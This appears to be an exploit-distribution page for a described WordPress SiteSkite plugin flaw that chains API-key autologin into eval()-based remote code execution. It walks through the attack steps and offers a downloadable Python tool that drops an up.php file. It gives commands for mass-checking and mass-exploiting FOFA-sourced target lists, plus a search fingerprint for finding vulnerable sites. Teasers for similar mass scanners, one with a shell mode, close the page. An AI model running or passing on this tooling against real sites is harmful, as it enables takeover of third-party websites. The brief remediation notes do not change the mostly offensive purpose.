CVE-2026-96349 — WordPress SiteSkite ≤2.1.8 API-Key Autologin + MCP eval() RCE Chain
October 1, 2026 · 927 views
SiteSkite WordPress plugin ≤2.1.8: long-lived API key acts as unauthenticated admin bearer via ?token= autologin; REST/admin-ajax MCP abilities run siteskite_execute_php (eval) and file write. CVSS 10.0 Critical (CWE-94). Fixed in 2.2.0. Python PoC: check (readme ≤2.1.8), exploit with API key, mass hits/exploited, --lab. Marker POCBIT-96349-OK.
Description
Overview
CVE-2026-96349 — SiteSkite WordPress plugin — unauthenticated remote code execution when the plugin’s API key is known (Patchstack / CVE Program; CVSS 10.0 Critical, CWE-94).
| | | |---|---| | Product | SiteSkite | | Affected | ≤ 2.1.8 | | Fixed | ≥ 2.2.0 (September 2026) | | Verify marker | POCBIT-96349-OK |
In ≤ 2.1.8, the stored siteskite_api_key doubles as an unauthenticated admin login bearer (?token= on /siteskite-autologin or front-end URLs). With the key, attackers call POST /wp-json/siteskite/v1/abilities/execute (or admin-ajax.php?action=siteskite_api) with X-SiteSkite-Key and run siteskite_execute_php (eval) or siteskite_write_file. 2.2.0 removes raw-key autologin (portal HMAC links only).
PoC page: https://pocbit.org/pocs/cve-2026-96349
GitHub: murrez/CVE-2026-96349
CVE.org: CVE-2026-96349
Patchstack: SiteSkite 2.1.8 RCE advisory
Attack chain (summary)
- Obtain victim SiteSkite API key (portal links, leaks, backups,
url\tkeylists — exploit mode requires a key unless per-URL key is supplied). - Optional: prove session via
/?token=KEYor/siteskite-autologin?token=KEY. siteskite_execute_php→ marker, or write_file / up.php drop under uploads.
Bundled tool (Python 3.10+)
Download cve-2026-96349.py — bundle extractor (poc.py, _engine.py, up.php).
pip install requests colorama
python cve-2026-96349.py
python poc.py --lab
python poc.py --check fofa_targets.txt
python poc.py fofa_targets.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24
python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY
Per-target keys in list files: https://site.example<TAB>api_key or pipe-separated. Env: SITESKITE_API_KEY / SITESKITE_KEY.
| Mode | Output |
|------|--------|
| check | hits.txt — readme ≤2.1.8, autologin fingerprint |
| exploit | exploited.txt — RCE verified with marker |
Discovery hints
body="/wp-content/plugins/siteskite/"
Check mode does not brute-force API keys.
Remediation
- Upgrade SiteSkite to ≥ 2.2.0 immediately.
- Rotate API key after upgrade (old key was a login bearer).
- Disable unused MCP / advanced tools; audit
?token=andX-SiteSkite-Keyin logs.
See also WordPress plugin vulnerabilities guide.
Legal and ethical use
Authorized security testing only.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- WordPressCVE-2026-92966critical
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 Stored Shortcode Execution (Customer Cabinet)
LatePoint appointment booking ≤5.7.0: unauthenticated guest booking stores [shortcode] in customer first/last name (sanitize_text_field keeps brackets); Customer Cabinet block renders welcome line then the_content do_shortcode runs twice → arbitrary shortcode execution. CVSS 9.1 Critical (CWE-94). Fixed in 5.7.1. No API key. Python PoC: check, mass exploit, --lab, optional POCBIT_EXEC_SHORTCODE. Marker POCBIT-92966-OK.
- WordPressCVE-2026-87902critical
CVE-2026-87902 — WordPress Core get_page_template() Unauthenticated LFI → RCE (PEAR chain)
WordPress core 4.7.0–7.1.1: pagename from POST used in get_page_template() without validate_file(); page-templates/ traversal + PEAR gadget → RCE. GHSA-7hp8-65ch-5whp, CVSS 4.0 9.8, CWE-22. Fixed 7.1.2+ (backports 6.8.10, 7.0.6). Python mass scanner: --check, --rce, --shell. Upstream: MRdark-ops/CVE-2026-87902 (HackfutSecRoot).
- WordPressCVE-2026-14281critical
CVE-2026-14281 — WAWP WordPress Unauthenticated Privilege Escalation (≤ 4.8.6)
Unauthenticated administrator via public WAWP REST signup: unsanitized wawp_custom_fields writes wp_capabilities through update_user_meta. Automation Web Platform plugin ≤ 4.8.6 (CVSS 3.1 9.8 Critical).
- WordPressCVE-2026-85984critical
CVE-2026-85984 — WordPress miniOrange OTP Unauthenticated Admin Bypass
Unauthenticated authentication bypass (CWE-287) in miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5 via wp-login.php POST mo_wp_login_intent=otp with empty password — mo_by_pass_login() skip_pass_fallback skips password check when Admin OTP Bypass and related OTP login options are enabled. CVSS 3.1 9.8 Critical. Fixed in 5.5.6+. PoC: plugin scan, optional user enum, check/exploit modes.